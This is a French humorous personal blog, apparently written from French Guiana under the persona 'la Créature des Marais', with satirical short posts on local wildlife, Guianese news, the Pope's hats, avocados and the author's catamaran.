  Quoi qu’il en soit, je ne puis me permettre de faire figurer la publicité originelle sans risque d’être incriminé de détournement de mercantilisme forcené. C’est pourquoi je vous avoue que je n’ai modifié que le texte : il était question de « deux mois offerts ».

  

  Après cela, on pourra encore vitupérer que cette Créature des Marais ne respecte rien, pas même ce qui compte dans la vie. Une fois de plus, à vous de voir. Merci de votre attention.

  
• Crapaud, Harry Potter et relations professionnelles

  A l’issue des congés, je vais retrouver un certain nombre de relations professionnelles parmi lesquelles un certaine personne qui m’horripile, même si je n’ai pas de poils et, disons-le, même si je suis rarement obligé de la fréquenter. Elle m’a toutefois inspiré un modeste travail infographique. En fait, cette personne me fait assez penser à Dolores Ombrage qui est comparée à un crapaud par Harry et ses amis (cf. les tomes 5 & 7 du cycle Harry Potter de J. K. Rowling). Et pour qui ne l’aurait pas lu, sachez que Dolores Ombrage est aussi peu compétente qu’étroite d’esprit, aussi grotesque que satisfaite d’elle-même, ce qui ne l’empêche pas d’être assoiffée de pouvoir. Ah ! Et aussi, elle n’aime pas les hybrides.

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  Contrairement à la Créature, cette personne n’est pas verte « comme un crapaud frais du matin » (cf. Harry Potter et la chambre des secrets, p.252, folio junior) mais n’allez surtout pas penser que ce soit une question de couleur…

  
• Angine blanche

  Pour avoir constaté que de nombreux et nombreuses internautes se fourvoient en trouvant cet article par moteur, je préfère déclarer que c’est un hoax ! dit-on , je crois, en anglo-saxon. Et, à moins que vous ne soyez dans un endroit absolument isolé, je vous déconseille les consultation médicales virtuelles !

  Méfiez du virtuel en général et, par exemple, songez que vous recherchiez une consultation médicale qui pouvait s’avérer tout aussi virtuelle que les imbécillités que je suis en train de vous raconter en ce moment… Je pourrais vous répondre sur ma webcam en beau costume et vous examiner…  une pathologie, qu’elle vous concerne ou non, et boum  : je fais casquer par paypal. Non, non, non, je suis une honnête créature, moi. D’ailleurs, vous avez vu, je fais tout ce boulot de blogueur pour pas un rond : Notez bien, il n’y a pas de publicité rémunérée…

  C’est pourquoi je me sens quelques droits à faire des blagues mais vous avez également le droit de laisser un commentaire ou m’envoyer un courriel injurieux, j’y consens

  D’après le médecin que j’ai consulté sur le net sans webcam en lui envoyant la photo par skype, c’est une angine blanche avec possibilité de complications. D’après moi, il n’y a pas de quoi s’inquiéter… Tranquille, le

  :cat2: !

  
  

  

  
  

  Merci de votre attention et pardon pour ce canular.

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• Palmopédophilie ?

  Je vous laisse juge de mon sens de l’humour… au sujet de la palmopédophilie. Des palmes, une piscine, une petite caméra,  le bac à légumes du frigo, un peu de ketchup et la complicité de Fab !

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• Copain-Copain

  Enfin, cela n’amuse que le chat… La morale m’impose de ne pas vous empommer sur la fin du lézard. Copain comme chat ou rat mort.

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  Merci de votre attention.

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• Superkevin contre Dr Satanas

  Une vidéo qui ne figurait pas encore sur le blog. Le jeune superkevin règle son compte à l’ignoble Dr satanas dans un mortal combat avec des effets spéciaux. C’est à Lifou.

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• Pa gain problem ki pa gain solition

  Je ne connais pas votre position quant à Jesus Christ ou la religion ou dieu sait quoi, ni vos capacités d’entendement en matière de créole haïtien. L’évangile, vous ne l’avez peut-être même pas lu. Enfin, voici toujours « on vit pas pareil (3) » :
  Merci Jésus

  
• On vit pas pareil (2)

  J’en conviens, on pourrait croire à un casting pour Star Trek 2008 avec cette charmante jeune femme postulant pour le rôle du Lieutenant Uhura des communications. Mais il n’en est rien. C’est simplement qu’elle n’a pas de casque chauffant et qu’il suffit de s’envelopper la tête de feuilles d’aluminium et de se mettre au soleil de la Guyane pour obtenir le même résultat. Voyez plutôt :

  Oh, le beau casque !

  

  
• On vit pas pareil

  Enfin, pour ce que j’en dis…

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• La mauvaise herbe

  Considérant le compteur, la visiteuse ou le visiteur occasionnel(le) aura beau jeu de deviner que la fréquentation de ce blog est essentiellement familiale et amicale. Ce qui signifie que les plaisanteries publiées le sont avec l’arrière-pensée qu’elles sont exposées à la louange ou à l’opprobre de gens proches.
  Voilà pourquoi je tiens encore une fois à m’excuser du mauvais goût manifeste de ma production. Je ne désire choquer ni contrister personne mais j’engage celles et ceux qui voudraient me faire remarquer que vraiment c’est nul à me laisser un commentaire.
  Merci de votre attention.

  PS : « Pilo » est un verbe latin intransitif qui signifie « je me couvre de poils« 

  
• Elevage en Guyane
  Parodie d’un journal télé et de l’élevage en Guyane. Il est à la fois question d’équateur et d’iceberg, d’élevage et d’humour. On a réussi à placer des pingouins. Fab est très convaincant dans le rôle de Célestin… Des fois, c’est pas facile.

  
  

  
  

  Merci de votre attention.

  
• La Créature du Marais

  L’ancêtre de la créature des marais mis à l’honneur dans son pays : Une juste reconnaissance après des siècles d’oubli.

  

  Qu’est-ce que la Brière ?

  La Brière est un coin assez grand et très humide avec des moustiques gros comme des camions. Les Briérons, alcooliques de père en fils, y manoeuvrent des chalands – sorte de barque à fond plat – à l’aide d’une perche nommée pigouille et s’en vont embrocher à la fouine – sorte de sceptre neptunien – des anguilles qu’ils font revenir dans le beurre avec du cidre.

  

  Qui est la Créature du Marais ?

  Selon la légende, elle était fort célèbre au Xe siècle à St Lyphard et « beaucoup l’ont entendue mais tous ceux qui l’ont vue ne sont pas là pour le raconter ». Il est vrai que l’eau a stagné depuis dans le marais et à moins d’avoir les talents horrificques de Joseph Curwen dans l’Affaire Charles Dexter Ward de H. P. Lovecraft, il n’est pas évident de faire parler les témoins disparus il y a un bon millénaire. c’est pourquoi la réalisation du Son &Lumière de Patrick Roussel qui sera – je cite – « encore plus merveilleux et impressionnant » ne saurait au mieux présenter qu’un semblant de Créature phantasmée quand il eût été si simple d’inviter son illustre descendante pour l’incarner. Mais c’était prendre le risque de dévoiler la vérité.

  

  Pourquoi cette différence entre la Créature du Marais et des Marais ?

  C’est tout bête. La légende se trompe : l’alliance suspecte entre Jean-le-Forgeron et un moine anonyme, disciple de Lyphard, n’a pas abouti à l’éradication de la Créature. Celle-ci agacée par la vindicte briéronne a migré vers les marais salants de Guérande. Rappelons que chaque année, on lui offrait une jeune vierge en sacrifice alors qu’elle aurait peut-être préféré un cône pistache-chocolat, elle s’est rattrapée en exigeant chaque semaine un sachet de caramels salés. Sa gentillesse, bien mal récompensée par les Lyphardais, la fit amie des paludiers qui lui raclaient les écailles du dos grâce à leur outil de travail sans être baignés des effluves inévitables de qui vit dans le marais et pas seulement au bord. En contrepartie, elle leur chantait « la ballade du Crapados¹ porte-bobine », personnage qui figure encore sur la poutre maîtresse d’une chaumière datant du XVe siècle sur l’île de Fédrun, au coeur de la Brière.

  

  D’un marais l’autre

  « Nous sommes des nains de jardin juchés sur les épaules du géant vert et les descendants ne sont le plus souvent que des continuateurs des aïeux. La Créature ayant résidé dans le marais briéron puis guérandais méritait sans conteste que son complément du nom se fît pluriel et son lointain rejeton américain n’a pas démérité puisque la Créature actuelle vit dans la lagune saline de Montjoly. Atavisme miraculeux qui réalisa le syncrétisme entre marais d’eau douce et marais salants : le marais salé. La nature n’a pas fini de nous surprendre…

  

  La Lagune salée de Montjoly, c’est pas vilain !

  1- Le crapados au sujet duquel les étymologies bretonnes abondent serait un nom local de la Créature des Marais faisant allusion à son manque d’hygiène.

  
• Ma nouvelle paire de tong

  Je présume – sans doute avec justesse – que vous n’en avez cure mais on vient de m’offrir une belle paire de tong. Je ne vais pas épiloguer sur la « chaucëure » comme l’écrivait voici plus de huit siècles le bon Chrétien de T. alors que ces nu-pieds propres au pays chaud et adoptés par les plagistes estivaux des régions moins clémentes auraient des origines orientales plus antiques. Par exemple, Cléopatre en portait pour ne pas brûler la plante de son pied menu sur le gril du sable égyptien. Agrippine-la-jeune, descendante de Tibère Claude Néron, soeur de Caligula, femme de Claude, mère de Néron, assassinée à Baules mais il ne faut pas s’étendre, en portait également. Et jusqu’à Cendrillon qui troquait ses pantoufles de vair pour une paire de tong afin de se chauffer les orteils au coin du feu. Qu’on l’appelle claquette, slaps ou savate, la tong peut laisser des doigts écartés comme le signalait Marcel Gotlib, c’est un risque. En contrepartie, elle nourrit les inventeurs de divertissement. Citons le « lancer de claquette » calédonien.

  Bref, sous vos yeux ébahis, ma nouvelle paire de Havaianas : la référence brésilienne en la matière.

  

  Vous noterez que la partie inférieure de la semelle est constituée d’un pneu recyclé. On the road again.

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• L’horloge à marée

  Elle n’a aucun intérêt si vous habitez Vierzon. Mais si vous êtes proche d’un endroit soumis à la marée, sans parler de résider en face de la mer, alors cela devient un outil très sympathique. J’ai vérifié pour un certain nombre de ports de préférence (Cayenne, Pornichet, Le Pouliguen, Lorient, Brest, et même Lifou, intitulé « shepenehe anchorage »). Un petit paramétrage et hop ! Vous savez quand ça monte, quand ça descend et où on en est. C’est chouette…

  
  

  

  Vous pouvez le télécharger ici (24 Mo) ou sur le site de l’auteur qui met gracieusement à notre disposition le fruit de son ouvrage. En prime, un site qui détaille les phases d’installation et de paramétrage.

  NB: C’est Phillipe Kerspern qui m’a fait connaître ce gentil soft. Spéciale Dédicace pour lui.
  

  C’est tout pour aujourd’hui. Merci de votre attention.

  
• Une régate d’Optimist

  APCAT Guyane : Grande régate d’Optimist

  

  et merci à la FFV pour la miniature du billet.

  
• Les Bébés Tortue Luth

  AVERTISSEMENT AUX ENFANTS : Ce blog raconte n’importe quoi, rien que des mensonges, des menteries et autres mascarades juste pour faire son intéressant.
  

  
  

  C’est bien la saison des naissances… et notamment, celle des tortue luth. Un article de ce blog vous montrait la maman de 600 kg venue faire la ponte, voici maintenant ce qui sort du sable :

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  Elle n’est pas toute seule : Avec ses frères et ses soeurs, elle fait de jolis dessins dans le sable.

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  Vous aurez – j’en suis convaincu – remarqué la disproportion des nageoires antérieures. C’est que les bébés tortue luth ont été génétiquement modifiés dans les laboratoires des chauve-souris désireuses de grossir leurs rangs en vue de l’extermination de l’espèce humaine. Conclusion tragique : les bébés luth mutants essaient de s’envoler sans succès :

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  Bah ! Finalement, est-ce plus lamentable que l’introduction des OGM en Afrique Noire par des institutions prétextant « aider les pauvres » pour le grand profit des Multinationales ? Je suis en train de réviser mon appréciation morale sur les crimes des Chauve-Souris…

  
• Le Hobie 14 retrouvé

  Bis repetita placent. L’enfer vert, le paradis vert, oui. La créature des marais avait trouvé un moyen de protéger son hobie des UV de Guyane. Bon, le temps de naviguer est revenu. Alors revoilà le hobie cat 14.

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  Merci à Stéphane et à son Sabre Magique

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• Le Pape Benoît XVI et ses coiffes

  Tout d’abord, il vous faut savoir que la CdM ne peut pas suivre l’ensemble des événements importants de notre époque. Heureusement, El Pop, un membre éminent du Aidez-Ouam, lui communique l’essentiel, et par exemple, cette dépêche Reuters :

  De jeunes Américains culottés offrent au pape une calotte Mickey
  [2008-07-18 13:14]
  SYDNEY (Reuters) – Coiffé de son habituel « zucchetto » blanc, le pape Benoît XVI s’est vu offrir vendredi une calotte de rechange: un couvre-chef doté des oreilles de la célèbre souris Mickey.Mais, à la grande déception des photographes, qui espéraient immortaliser cette nouvelle coiffe papale, le souverain pontife n’a pas étrenné le présent.

  C’est un groupe de jeunes fidèles venus du comté d’Orange, en Californie – où se trouve également Disneyland – qui a offert ce souvenir au pape lors d’un déjeuner avec lui aux Journées mondiales de la jeunesse, à Sydney.La délégation californienne avait également apporté une balle de baseball des California Angels.Selon les jeunes gens, le pape a souri devant le chapeau du personnage Disney, mais l’a aussitôt remis à ses assistants.

  Pourtant, en matière de couvre-chef, Benoît XVI s’est déjà illustré. Bien sûr, il y a les classiques.

  

  Chacun le sait, le Panzer Pape a une grosse mitre

  Mais certains ont pu s’offusquer de le voir emprunter également le bonnet du Père Noël. Celui-ci a officiellement porté plainte contre le Saint Père mais préfère attendre la visite du Pape au pôle nord pour lui dire son fait.

  

  Faut-il y croire ?

  Cependant, Benoît ne dédaigne pourtant pas de temps à autre les chapeaux plus « fantaisie » :

  

  Le chapeau prêté par Jessie, la copine de shérif Woody

  Alors, on ne voit pas très bien pourquoi notre Pape se refuse à porter les oreilles de la sympathique créature de Disney. Cela lui vaudrait un grand succès chez les enfants dont on n’ignore pas qu’il faut les prendre jeunes.

  

  Laissez venir à moi les petits enfants !

  Bon, la CdM va encore se faire traiter de mécréant. Tant pis. Sa marraine chérie qui est au Ciel aimait beaucoup le Pape précédent à tel point qu’elle l’avait affiché dans ses toilettes pour le voir souvent. Ce qui prouve qu’on peut être catholique et avoir de l’humour.

  Pour changer de sujet, j’apprends sur le Real Blog que David est de nouveau libre. Je savais déjà que son (désormais) ex-épouse avait parfois une poêle dans la main. Quoi qu’il en soit, je conseille à toutes les gonzesses mignonnes les demoiselles qui cherchent un Prince Charmant de tourner les yeux vers St Martin.

  Merci de votre attention.

  Si vous avez aimé cet article sur Benoît XVI, en voici d’autres :

  Le Pape à capote & le tout dernier, le Pape rencontre Ahmadinejad

  
• La Sauterelle à gros nez

  La CdM – on le répète – n’est pas insectophile; elle se préoccupe simplement d’illustrer un apologue orthoptéroïde… Seul(e) l’entomologiste pourrait nous indiquer le véritable nom de la sauterelle impliquée et comme la CdM est d’une ignorance crasse en la matière, elle a choisi de l’appeler « Sauterelle-Nasique » ou « sauterelle à gros nez ». Tout comme le nasique attire sa femelle par son nez long et mou, la sauterelle-nasique l’attire par son nez long et dur, chacun sa méthode…

  *

  

  La Sauterelle-Nasique, une bien fière sauterelle

  *

  Oui mais voilà, elle a beau avoir un grand nez et de belles cuisses : elle n’aurait jamais dû insulter cette fourmi noire en se moquant de sa face camuse : la fourmi n’aime pas qu’on se foute de sa gueule, c’est là son moindre défaut. Et crac, elle lui mord la cuisse :

  *

  

  Par malheur pour notre sauterelle à gros nez, la fourmi est rarement seule (cliquez sur l’image pour comprendre le premier vers).

  « L’une lui entre dans l’oeil, l’autre lui mord le cul.

  Chez les saut’relles en deuil, le carnage est connu.

  Chacune de s’affliger, et de crier vengeance,

  Mon chat vaquant par chance promit de les venger.

  Il croque la dépouille engloutissant tout cru

  Les myrmidées sans couilles et puis s’en va repu.

  Morale : La valeur n’attend pas l’allongement du nez ».

  C’est tout pour aujourd’hui. Merci de votre attention.

  
• Amalgame et désinformation

  Dans notre monde confus d’images et de textes accrocheurs, il est parfois difficile de ne pas associer les informations qui nous sont présentées. Il est clair que la lecture en Guyane n’est pas une activité notoire : Un couple d’amis amérindiens avec lesquels l’après-midi fut charmante discutaient avec la CdM du licenciement d’André Paradis. Ils trouvaient plutôt étrange que ce chroniqueur aussi sympathique que caustique soit entré à RFO avec de faux papiers et qu’il ait un faux papa chinois. Sur le coup, je ne voyais pas vraiment le rapport mais quand j’ai vu l’affiche de la nouvelle édition de la Semaine Guyanaise du courageux Alain Chaumet, j’ai finalement compris qu’il fallait être très prudent quant à la présentation des informations. A preuve : amalgame et désinformation.

  

  Ben, le tout à fait frère de la Créature, à ne pas confondre avec Boris, le presque frère de Benar Shah dans les Barbouzes, vient de lui indiquer que les histoires guyanaises étaient difficilement compréhensibles pour celles et ceux qui ignorent l’actualité de cette belle contrée. Quelques explications : André Paradis, chroniqueur sur Radio RFO depuis 21 ans vient d’être licencié. Il avait des démêlés avec sa direction depuis les dernières élections législatives. André Paradis est arrivé depuis 45 ans dans l’enfer vert où il dénonce l’enfer doré, l’enfer blanc ou noir, l’enfer rose, enfin bref, toutes les couleurs d’enfer sauf la verte. Il poursuit désormais ses chroniques dans la Semaine Guyanaise dont le dernier numéro met en parallèle une interview de A. P. et une autre de Liliane Francil, Directrice Régionale de RFO, toutes deux, réalisées par Frédéric Farine, journaliste d’investigation qui a eu lui aussi bien des soucis à cause de ses enquêtes qui montrent qu’on nous roule dans la matière dont son patronyme est peut-être éponyme.

  Toujours est-il que la Semaine Guyanaise étant vraisemblablement absente des kiosques hors de la Guyane, on peut se reporter au site de Odile Farjat, Blada en lien permanent sur ce blog, seul moyen de s’informer des travers de la Guyane (et de ses bons côtés, bien sûr). Odile fait régulièrement un résumé du contenu de la Semaine Guyanaise (exemple 1 – exemple 2).

  Odile Farjat, André Paradis, Frédéric Farine, ces trois-là ont en commun d’aimer la Guyane, la Nature et les Humains, et de vouloir dire la vérité ou, du moins, ils mettent l’index sur des choses qui existent et dont on ne parle pas dans les autres média. Je souhaite qu’ils puissent continuer à s’exprimer « haut et fort » dans cette région ultra-périphérique où à chercher la grosse bête, on laisse des plumes.

  Alors qu’en est-il des faux papiers et des faux papa chinois ? Eh bien , cela n’a évidemment rien à voir avec le premier sujet, il s’agit d’un trafic de faux-papiers dont l’affaire est en cours…

  
• Saïmiris, problèmes de zoom et controverse ancienne

  La Créature – on s’en souvient – s’était fait barboter sa caméra par d’abjectes petites crapules. La nouvelle caméra récemment acquise est très performante. Les talents de la CdM en matière de stabilité optique, nettement moins… La vidéo au rorota ci-dessous illustre parfaitement les difficultés à filmer des singes pas bien gros et très rapides, des squirrel monkey, en zoom maximal.

  
  

  
  

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  Si vous désirez des informations actuelles et précises sur le Saïmiri ou singe-écureuil, allez au Québec car nous, nous allons aborder le thème douloureux des rivalités naturalistes où toute la perfidie d’un espagnol zoologue formé sur le tas et sur le tard se déverse sur la tête de ses prédécesseurs patentés et autres voyageurs, il s’agit de Felix de Azara. Il commence par dénigrer ses petits camarades en général :

  

  Puis Buffon et d’Abbeville en particulier avec un raisonnement pour le moins fumeux :

  

  
  

  Enfin, il révèle les instincts les plus turpides et tombe dans la plus malsaine des pornographies qui se puisse concevoir…
  

  

  …en se plaignant de ne pas avoir d’images plus suggestives pour attiser sa perversité!

  Nous avons peine à le laisser poursuivre l’expression de ses phantasmes les plus débridés et pourtant :

  

  
  

  En effet, car ce sont des mammifères et sur ce point nous ne pourrons contredire de Azara qui avait sûrement ses qualités…
  

  Ahhh, la Guyane… Mais comme dit Jules-Edouard Moustique, il y a pire, voyez plutôt :

  

  
  

  
• La menace des membranes

  Voici de nouveau une piètre vidéo – à interdire aux enfants si possible – où l’on apprend qu’insatisfaites de s’attaquer aux pommes d’amour, les chauve-souris ont projeté de conquérir la planète à commencer par les esprits des enfants, justement. La preuve en humour et en images :

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  *

  L’infernal complot des Chauve-souris

  Les sinistres machinations des Chauves-souris

  L’affreuse Vérité sur les Chauves-souris

  Les Chauve-souris aiment le Whisky

  Merci à tous les sites et blogs où les images de chauve-souris

  ont été empruntées sans préavis ni scrupule. Pardon.

  Un plus grand merci encore au Projet du Médecin Vert pour sa séquence

  de la chauve-souris qui mange la banane, que j’ai honteusement détournée…

  **

  
• Le Président de tous les Français

  La Créature ne se targue pas d’une expression soutenue dans la conversation courante. Néanmoins elle essaie de ne pas négliger la noble langue française.

  • Elle ne dit pas « * La France est prêt à se mobiliser » mais « la France est prête à se mobiliser ».
  • Elle ne dit pas « * Les FARC, y faut qu’y z’arrêtent… » mais « Les FARC doivent déposer les armes et relâcher les otages. »

  C’est tout.

  
• Les Pommes d’Amour

  La CdM est de nouveau équipée d’une caméra. Hélas, elle commence dans la médiocrité avec ce « gag » de 22 secondes… Quel humour pitoyable. En plus, cette vidéo devrait être interdite au moins de 8 ans ! Les chauve-souris et les pommes d’amour, c’est ci-dessous.

  *

  ***

  
• Enculage de mouche

  Je sais. Vous pourrez me dire que c’est consternant… Cela m’a été inspiré par notre Président qui dit que la France était d’accord pour ratifier le Traité de Lisbonne et que les Irlandais sont des empêcheurs d’agrandir l’Europe.

  C’est vrai, pourquoi faire un référendum ? Le chef des Irlandais n’avait qu’à faire comme notre président. D’abord, on consulte pour savoir ce qu’en pense le peuple. Et puis, après, on s’en tamponne, on fait comme si le peuple n’avait rien dit et on s’appuie sur les élus de peuple pour dire : Mais si, si, le peuple est d’accord, regardez ses représentants, ils sont d’accord. Cela s’appelle la démocratie.

  Alors MERCI, Cousins d’Irlande. Vous n’êtes pas comme les mouches ci-dessous !!!

  

  PS : Si votre président vous fait le même coup, enculez-le comme ci-dessus et bzzz à vous.

  
• Perdu en Guyane…

  La jungle de Guyane est dangereuse. Le témoignage d’un homme perdu dans l’enfer vert? De l’humour et de la parodie. Merci à HK !

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• Mini diaporama de Guyane

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  un mini diaporama Guyane

  par la CdM

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• Mais où est passé le Hobie 14 de la Créature ?

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  Il y a quelques mois un coup de tabac sur les côtes guyanaises avait contraint la créature des marais à reculer sérieusement son petit catamaran hobie 14, son fidèle petit hobie cat,  avec les gars du club APCAT. L’herbe pousse vite en Guyane…

  *

  

  PS : Mon petit cata est peut-être caché mais au moins il n’est pas perdu. Lisez les effroyables aventures de mon ami David au sujet d’un cata bien plus gros et, si vous aimez naviguer, vous aurez des sueurs froides.

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• Ukulele du matin, humour

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  Eh oui, de l’humour réchauffé pour les abonné(e)s… En bref, quand tu te lèves fatigué(e), rien de tel qu’un coup de ukulele pour te regonfler le moral… Une vidéo bien couillon.

  
  

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  Merci de votre attention.

  
  

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• La rage en Guyane

  Il ne manquait plus que ça. La malaria, la dengue, la leishmaniose, le Sida, l’imbécillité, sans préjudice des maladies ignorées par les thérapeutes… On n’avait pas recensé de cas de décès humain dû à la rage depuis 1924 sur le territoire français et il faut que ça tombe sur la Guyane !!!

  Condoléances à la famille de Fabrice : 42 ans. l’âge de la CdM.

  PS : un article cinglant sur le vaccinateur.

  
• Le Lagon de la Calédonie

  Le lagon de la Calédonie est une des merveilles du monde qui devrait déjà être inscrite par l’UNESCO au Patrimoine mondial de l’humanité. Mais voilà, ce n’est pas encore fait…

  On corrige à l’occasion d’une relecture, c’est fait.

  

  Une des somptueuses plages de Lifou

  (Tribu de Mu, District du Lössi)

  Cette photo n’est pas celle du lagon de la Grande Terre (je n’en avais pas sous la main) mais d’une plage proche de la tribu d’origine de l’amie qui m’a envoyé le lien vers la pétition : Si vous voulez aider le lagon, vous pouvez aller signer le Livre Bleu. Plus besoin. Merci encore. Oleti atraqatr !

  
• Une Libellule sur un fil

  Il y a une expression créole qui dit à propos du gars prolixe : « Missié plein ké text ». Alors à quoi bon vous dire que cet insecte odonate pourvu de deux paires d’ailes membraneuses inégales à nervation abondante vit près de chez vous ou chez nous, je vous le demande…

  

  
• Aussi grosses que le boeuf

  

  La junte birmane outrée des offres mesquines de la communauté internationale, dont la pingrerie proverbiale s’accompagne d’un égoïsme incoercible qui va jusqu’à réclamer de pouvoir soigner les victimes sur leur lit de douleur, vient de recommander chaudement à ses concitoyens éprouvés de refuser les tablettes de chocolat.

  

  Ils auront avantage à faire preuve de patriotisme en se nourrissant de juteuses grenouilles que, providentiellement, le cyclone Nargis a multipliées.

  

  Il est évidemment aisé de donner des conseils à moins de 20 000 km de Rangoon et passablement hypocrite de citer un exemple européen.

  

  Toutefois, s’ils peuvent le faire sans dommage, nous leur recommandons de décapiter leurs généraux puis de tenter la méthode de cuisson par induction dite « Galvani » afin de vérifier que si leurs dirigeants (à face et couleur de crapaud) n’ont pas de coeur, ils ont peut-être de la cuisse.

  

  Dixit la Créature.

  
• Richard Sirder alias « Redris »

  Lorsque moi, la Créature, je gîtais sans songer sur les bords de l’Oyapock et que je vis que l’abonnement internet était enfin accessible en cette contrée lointaine, c’est-à-dire en 1998, je créai un ur-site fort sommaire enrichi de quelques images du lieu et de ses indigènes. A cette époque antédiluvienne, les sites « perso » de Guyane se comptaient encore sur les doigts d’une seule main. Au milieu de cette rareté, un webmaster paraissait fort en avance sur son temps et déployait déjà une activité peu commune sur la toile pour faire découvrir la Guyane au monde entier : il n’était connu par moi que sous son étrange pseudonyme de Redris. Par la suite, quand je migrai vers le Pacifique pour quelques temps, les moteurs de recherche appelés à nourrir ma nostalgie m’invitaient de façon récurrente à visiter les pages du personnage susmentionné.
  Je découvre aujourd’hui par un article de Blada que Richard Sirder alias « Redris » nous a quitté. C’est une fort triste nouvelle et le blog de la Créature un bien piètre endroit pour rendre hommage à cet homme de valeur.
  En espérant que les « pages de Redris » ne disparaissent pas, je vous communique quelques liens vers sa création toujours en ligne.

  Des personnages de la Guyane
  Des chansons
  un lexique

  Je souhaite que vous puissiez en explorer les autres aspects et adresse à sa famille éprouvée mes sincères condoléances.

  
• La chasse aux Papillons

  Je ne sais pas si vous avez déjà essayé de photographier un lépidoptère qui refuse de coopérer : si oui, vous comprendrez pourquoi les images sont floues… Autre sujet, toutes les génitrices et tous les géniteurs humanoïdes pensent que leur rejeton se montre exceptionnellement créhâtif, je sais. C’est pourquoi je me demande si ce que notre tétard de moins de deux ans (indéniablement plus perspicace que son procréateur en entomologie) vient de découvrir est inédit: La femelle du papillon s’appelle la mamillon.

  
  

  

  
  

  Les ailes de ce papillon ont inspiré la voile de funboard…

  
• Tortue Luth

  « La trace est la présence d’une absence » comme l’avait enseigné à la Créature un distingué Maître. Cette première était fort déçue -on se reportera utilement ici pour s’en souvenir – de n’avoir pas pris la bête elle-même alors qu’elle réside en Guyane depuis des lustres… Malgré une lumière presque inexistante, ce soir, forte d’une certaine préméditation, la Créature a réussi ce cliché classique sur la plage de Montjoly :
  

  

  
  

  La Tortue Luth devant la célèbre île de la Tortue

  baignée par la non moins fameuse mer de laTortue

  
• Guillermo Vargas Habacuc et c'est tout

  Biennale de l’Art au Honduras : Un artiste du Nicaragua expose la mort d’un chien par inanition.

  

  Somptueux et très conceptuel sans doute… La Créature qui n’a jamais manifesté d’amour particulier pour la race canine – à tel point qu’elle canarde régulièrement cette engeance au pistolet à plomb pour protéger sa poubelle – est triste sur ce coup-là…
  Il n’est pas envisageable d’essayer de définir l’Art avec un grand Tas sur ce blog : Ni le temps, ni les compétences pour le faire. Toutefois, on se permettra quelques remarques.
  a) Si c’était un hamster, cela m’aurait moins dérangé mais, disant cela, je redoute de m’attirer les foudres de la LOL (Ligue Oeucuménique de Les hamsters), ce que je ne veux pour rien au monde.
  b) Si ce blog avait quelque notoriété, j’aurais engagé publiquement les visiteurs à dissimuler subrepticement deux ou trois croquettes pour sustenter l’animal au risque de passer pour d’infâmes iconoclastes insensibles à la beauté du geste artistique.
  c) Tant qu’à faire du lard, il aurait peut-être été préférable que ce fût l’artiste même qui prît la place du chien. En effet, selon les anthropophages, la chair de l’humain est davantage comparable à celle du porc qu’à celle du chien.
  d) Il est dommage que les autorités chinoises ou birmanes, empreintes d’un obscurantisme désuet, n’autorisent pas les journalistes internationaux à prendre quelques clichés plus savoureux d’une exposition autrement plus symbolique : celles d’enfants mourant de la même manière. Performance un peu plus attrayante pour qui a une plus saine vision de ce que doit être l’Art (je ne fais pas de liens, cherchez vous-même).
  e) La Créature n’est que vaguement apparentée à l’espèce humaine et quoiqu’elle soit humanoïde associée, ses réactions ont une autre envergure que celles des défenseurs panurgesques de la cause zoolâtre (sans vouloir non plus les froisser) incapables de se départir de leur nature espéciale.
  f) Si je fais caca au milieu de mon salon et que je fais une photo, serai-je invité à un brillante manifestation sud-américaine en gagnant des millions ?
  g) Si je m’appelais Guillermo Vargas Habacuc, j’aurais peur qu’on fasse rimer mon nom en français.

  Si vous voulez signer la pétischtroumpf qui engage à boycotter ce brillant jeune homme, c’est ici (ok, c’est en espagnol mais nul n’est censé ignorer la langue de son voisin).

  Il paraît qu’il a fait amende honorable : Le grand public n’a pas compris son symbole et il reconnaît s’être trompé… Que celui qui n’a jamais écrasé un moustique lui jette la première boulette.

  
• De l’avocat

  Comme chacun sait ou apprendra en lisant les lignes qui suivent, l’avocat injustement accusé par les bonnes gens d’être un fruit n’en est pas un. C’est une baie. De ce fait, son noyau, que l’on pique de trois allumettes afin de le maintenir à demi immergé dans un verre d’eau et au-dessus du frigo dans les cuisines des pays sans soleil, n’en est pas un. C’est une graine.

  

  Maintenant que les connaissances du public averti sont réduites à néant et qu’il est clairement établi que l’avocatier est un arbuste, on pourra objecter qu’un avocatier peut faire 15 mètres de haut. Certes mais dans son pays natal, l’avocatier jouxte des arbres dont la taille avoisine les 30 mètres, alors je vous en prie.

  

  Les avocats du jardin profus de la diserte créature

  persea americana

  Puisque nous en venons à la question de l’origine, sachez que les botanistes révèlent que l’avocat nous vient de l’Amérique centrale et non pas d’Israël comme les béotiens pourraient le penser. La preuve en est que ce pays fête ses 60 ans alors que l’avocat a plus de 8 millénaires. L’autre argument, imparable, est à rechercher dans l’étude étymologique du mot.

  « Avocat » provient d’une altération de « ahuacalt » dûe à la fois à la traversée de l’Atlantique agité et au passage du nahualt à l’espagnol, et par extension de l’appropriation du mets comme du mot par les autres langues de l’Europe occidentale. Que signifie donc « ahuacalt » en nahualt (pour les ignares, nous précisons que cette langue est celle des Aztèques tartares qui le mangeaient cru) ? Êtes-vous prêt(e) à une révélation aussi stupéfiante que triviale ?

  Oui, vous l’aviez deviné « ahuacalt » désigne la testicule. Nous n’évoquerons pas la théorie de la signature (voyez ici ce que Michel Denisot en dit). Nous approuverons cependant le choix judicieux de cette dénomination en envisageant les variétés de cette chose qui se peut consommer farcie de crevettes ou de crabe avec une sauce adéquate (je recommande le mélange mayonnaise relevée de poivre blanc, double concentré de tomate, piment doux, coriandre ou estragon, mais chacun ses goûts). Les variétés, donc.

  

  A la base, il y a trois types d’avocats : la « fuerte » en forme de poire dite aussi « camaret » en Bretagne, la « hass » à la peau noire et rugueuse dite aussi « graine de centenaire », la « nabal » ronde à peau lisse dite aussi « peau de zébi » et la « lula », grosse, à la peau vernissée et vert jaune, comme le Président du même nom, sans la barbe. Il va de soi que les 500 variétés hybrides, conséquences malignes de manipulations perverses que la morale réprouve, seront laissées de côté.

  

  
  

  L’avocat « hass »
  testiculus senicis

  Aux latinistes qui me feront remarquer que « testiculus senis » serait plus convenable, je répondrai dédaigneusement qu’il est plus stylé d’utiliser le génitif archaïque.

  Toujours est-il que les propriétés aphrodisiaques de cette baie ne sont plus à démontrer, elles poussent souvent par paire tant Dame Nature est explicite. Rappelons au passage que la Créature des Marais n’est pas monoburne ou unicouilliste de naissance comme des langues de vipère l’ont prétendu. Il s’agit d’un accident, que ceci soit dit définitivement. Sa bourse unique est d’ailleurs plus comparable à un concombre piquant qu’à quoi que ce soit d’autre. Non mais.

  

  PS : Pour celles et ceux qui s’excitent sur les règlement européens. Voyez plutôt.

  
• Des Mangues comme s’il en pleuvait

